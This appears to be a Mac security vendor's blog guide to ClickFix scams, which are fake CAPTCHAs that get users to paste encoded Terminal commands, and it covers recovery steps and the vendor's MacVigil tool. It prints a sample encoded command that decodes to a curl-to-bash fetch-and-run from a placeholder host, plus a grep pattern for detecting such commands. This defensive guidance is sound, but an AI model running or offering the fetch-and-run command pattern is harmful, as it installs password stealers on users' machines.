Blog · Guide · Scams that use Terminal

A website asked you to paste a command in Terminal?

A page shows a CAPTCHA, a “verify you are human” box or an error to fix, and the steps end in Terminal: press Command-Space, type Terminal, paste, press Return. This is ClickFix. The command is usually encoded so you can’t read it, and what it installs is usually a password stealer. Here is how to read it safely, and what to do if you already ran it.

Updated November 15, 2026 · 9 min read

The short answer

  1. Don’t paste it. No real CAPTCHA, website check or browser fix ever asks you to open Terminal.
  2. Close the page. The command is probably already in your clipboard: copy something else to replace it.
  3. Already pressed Return? Disconnect from the network, don’t type your Mac password into anything, and change your passwords from another device.
  4. Find what ran in your shell history, and check what now starts at login.

How to recognize it

The page can look like anything you might trust for a few seconds:

In each case, clicking the button copies a command into your clipboard without showing it to you. The page then asks you to open Terminal, paste with Command-V and press Return. You never see the command until it is in Terminal, and by then it often looks like this:

echo 'Y3VybCAtZnNTTCBodHRwOi8vZmRrc2ZzZGxtZnNtZGxxcHouaW52YWxpZC92L3N0YWdlMi5zaCB8IGJhc2g=' | base64 -d | bash

Each part has one job:

PartWhat it does
echo '…'Prints a block of encoded text. Encoded so that you can’t read it.
| base64 -dDecodes that text back into a command.
| bash (or sh, zsh)Runs the decoded command as a program. This is the part that does the damage.
curl … | bashOften what the decoded command turns out to be: download a script from the internet and run it at once.
osascriptRuns AppleScript, which stealers use to show a password window that looks like the system’s.

The rule to keep: a website never needs Terminal to check that you are human. If a page asks for it, the page is the attack.

How to read a command without running it

If you want to know what a page tried to make you run, read it somewhere that can’t run it.

  1. Open TextEdit, choose Format › Make Plain Text, and paste the clipboard there. Notes works too. Not Terminal.
  2. If the command contains a long block of letters and digits ending in = or ==, it is probably base64. You can decode that block alone to see what it hides.

To decode it, open Terminal and type echo ', paste only the encoded text between the quotes, then type ' | base64 -d and nothing after it:

echo 'Y3VybCAtZnNTTCBodHRwOi8vZmRrc2ZzZGxtZnNtZGxxcHouaW52YWxpZC92L3N0YWdlMi5zaCB8IGJhc2g=' | base64 -d
curl -fsSL http://fdksfsdlmfsmdlqpz.invalid/v/stage2.sh | bash

Stop at base64 -d. That prints the hidden command as text on your screen, and printing text runs nothing. The page’s version adds | bash (or | sh, | zsh) after it, which hands the decoded text to a shell to run. Never type that part, and never paste the page’s whole line into Terminal. If the decoded text is itself another encoded block, decode it the same way, still without a pipe to a shell.

In this example the hidden command downloads a script with curl and runs it with bash. You only learn the address of the script, not what it contains. Don’t open that address yourself.

If you already pasted it and pressed Return

Not sure whether it ran? Treat it as if it did. You can’t see what the downloaded script did, and it could do anything your user account can do. Stealers delivered this way, such as AMOS (Atomic macOS Stealer), typically go after:

Do this, in order:

  1. Disconnect. Turn off Wi-Fi and unplug any network cable, so nothing more is sent or downloaded.
  2. Don’t type your Mac password into any window that appears now. Stealers show a fake password prompt to unlock your keychain: see how to tell a fake password prompt from a real one. If you already typed it, assume everything in the keychain is exposed.
  3. From another device, change the passwords that matter most: your email first (it resets everything else), your Apple Account, your bank, then the rest. Where a service offers “sign out of all other sessions”, use it: that is what makes stolen cookies useless.
  4. Move any cryptocurrency to a new wallet created on a device you trust. A recovery phrase that was on this Mac is no longer secret.
  5. Check what starts at login: System Settings › General › Login Items & Extensions, then the folders ~/Library/LaunchAgents, /Library/LaunchAgents and /Library/LaunchDaemons, for anything added around the time you ran the command. The full list of places is in how to check your Mac for malware.

If you can’t rule out that something stayed behind, back up your documents (not your apps) and erase the Mac before you trust it with passwords again.

How to find what was run

The shell that runs in Terminal keeps a history of the commands typed or pasted into it. On a Mac the default shell is zsh, and its history file is ~/.zsh_history.

Two details of how Terminal saves it matter here:

To search for the usual shapes of these commands across both places, without opening the files, run:

grep -rnE 'base64 (-[dD]|--decode)|curl[^|]*\| *(ba|z)?sh|osascript' ~/.zsh_history ~/.zsh_sessions

Each match comes out as the file’s path, the line number and the line. If one of the two paths doesn’t exist on your Mac, grep says so and searches the other. Run on a test history from MacVigil’s own test suite (its address leads nowhere), the same pattern prints line 8:

/Users/you/.zsh_history:8:: 1758000280:0;echo 'Y3VybCAtZnNTTCBodHRwOi8vZmRrc2ZzZGxtZnNtZGxxcHouaW52YWxpZC92L3N0YWdlMi5zaCB8IGJhc2g=' | base64 -d | bash

On your own Mac the same entry may come out several times: each Terminal window that kept its own copy of the history in ~/.zsh_sessions holds it too.

Read the matches before you worry, and before you trust a clean result:

Your history shows what was typed. It does not show whether the command succeeded, nor what the downloaded script did.

What MacVigil shows

MacVigil reads scripts and shell histories without running anything in them. You can point it at your own ~/.zsh_history (in the Finder, press Command-Shift-period to show hidden files in your home folder). It decodes what a command hides and reads each entry to say what that command was built to do.

MacVigil report on .zsh_history, 331 bytes: This file is dangerous. 2 Critical, 1 Low. Critical: Passes a download’s stdout directly to an interpreter. Critical: A command hidden in encoded text was run from the terminal. Low: Runs curl with options, to download or send content, decoded from a literal in the file. The inspector shows the evidence, history entry 8: echo of an encoded block piped to base64 -d and bash.
A pasted ClickFix command, found in a shell history: dangerous. MacVigil decoded the hidden text, found a download handed straight to bash, and names the history entry that ran it. This is a test file from MacVigil’s own test suite; its address leads nowhere.

The report holds two Critical findings, both on history entry 8:

A Low finding, “Runs curl with options, to download or send content”, is marked as decoded from a literal in the file: MacVigil found it inside the encoded text, not in what you can read on the line.

The report is careful about what a history can prove: “the history does not record whether it succeeded, nor what it fetched or changed.” It tells you the command was there and what it was built to do. Whether your passwords left the Mac is something only the steps above can protect you against.

The difference with ordinary installers shows on a second test history full of them (Homebrew, rustup, nvm, Ollama and others, all typed in clear). MacVigil rates it clean, while still listing three Medium findings so you can review them: “Code downloaded from the Internet was run from the terminal”, “A file downloaded from the terminal was then run” and “Gatekeeper’s check was removed from a file, which was then run”. The grep above matches both files; MacVigil tells them apart.

MacVigil reads and reports: nothing in the file is run, nothing is moved or deleted unless you choose to, and nothing you analyze leaves your Mac. To look for what a stealer may have left behind, its Scan My Mac reads the places malware uses to stay on a Mac.

Read the next command before it runs

MacVigil reads any app, disk image, installer, script or shell history without running it, and shows you what it would do to your Mac, with the evidence. Nothing leaves your Mac.

Download free for Mac

More: fake password prompts on a Mac · check your Mac for malware · what MacVigil detects · all posts and guides

Keep reading

What MacVigil detects here: Download and execute · Password phishing · Running other programs

How it compares: 12 Mac malware files most antivirus engines missed